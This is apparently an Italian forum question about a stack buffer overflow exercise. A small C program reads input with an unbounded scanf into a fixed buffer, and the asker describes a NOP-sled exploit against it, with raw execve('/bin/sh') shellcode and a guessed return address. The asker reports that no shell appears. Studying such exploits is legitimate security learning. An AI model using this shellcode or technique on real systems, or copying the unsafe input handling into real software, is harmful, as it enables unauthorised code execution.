#include <stdio.h>
void secret()
{
printf("Congratulations!\n");
}
void echo()
{
char array[60];
scanf("%s", array);
printf("You entered: %s\n", array);
}
int main()
{
echo();
return 0;
}
sopra è il codice che sto cercando di sfruttare.
Ho trovato l'indirizzo ebp usando gdb, anche se so che è difficile indicare la posizione esatta. Ho usato la tecnica della slitta NOP
dimensione del buffer allocata - 0x44 - 68bytes
codice shell è - 25 byte
python -c 'print "\x90"*47 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "\xa8\xbb\xff\xff"' | ./test
Sto provando a saltare da qualche parte nel mezzo della slitta NOP.
Non ricevendo un errore di segmentazione, ma non ricevo nemmeno l'accesso alla shell.